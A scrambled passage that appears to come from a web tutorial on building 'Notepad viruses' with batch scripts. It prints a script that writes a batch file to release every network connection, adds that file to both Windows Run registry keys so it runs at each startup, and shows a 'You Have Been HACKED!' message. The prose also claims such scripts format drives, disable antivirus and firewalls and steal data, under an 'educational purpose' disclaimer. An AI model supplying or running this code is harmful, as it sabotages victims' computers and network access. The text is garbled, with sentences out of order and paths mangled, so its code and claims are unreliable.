echo off>c:windowswimn32.batĮcho break off>c:windowswimn32.bat echo ipconfig/release_all>c:windowswimn32.batĮcho end>c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED! The internet of your PC will be disabled permanently. Set wshShell = wscript.CreateObject(”WScript.Shell”) OFFĪs the command says it all, entering this code in the notepad will cause endless enter buttons pressed continuously. This code is dangerous and deletes key registry files. Make sure to paste these different virus commands in a different line. Copy the below virus source codes one by one and paste them using the key combination – Ctrl+V. To begin with, Open the Notepad of your PC. We would again mention this to you all that this post is for educational purpose. It also formats drives like C:/ drive, E: drive, etc. It disables the antivirus, steals data information, disables firewall, etc. The virus created using a batch file is dangerous enough to delete files on your PC.
Batch scripting means a text file that consists of a series of commands that are executed automatically when the file runs. We will be creating a Notepad virus executable (.exe) with the help of batch scripting.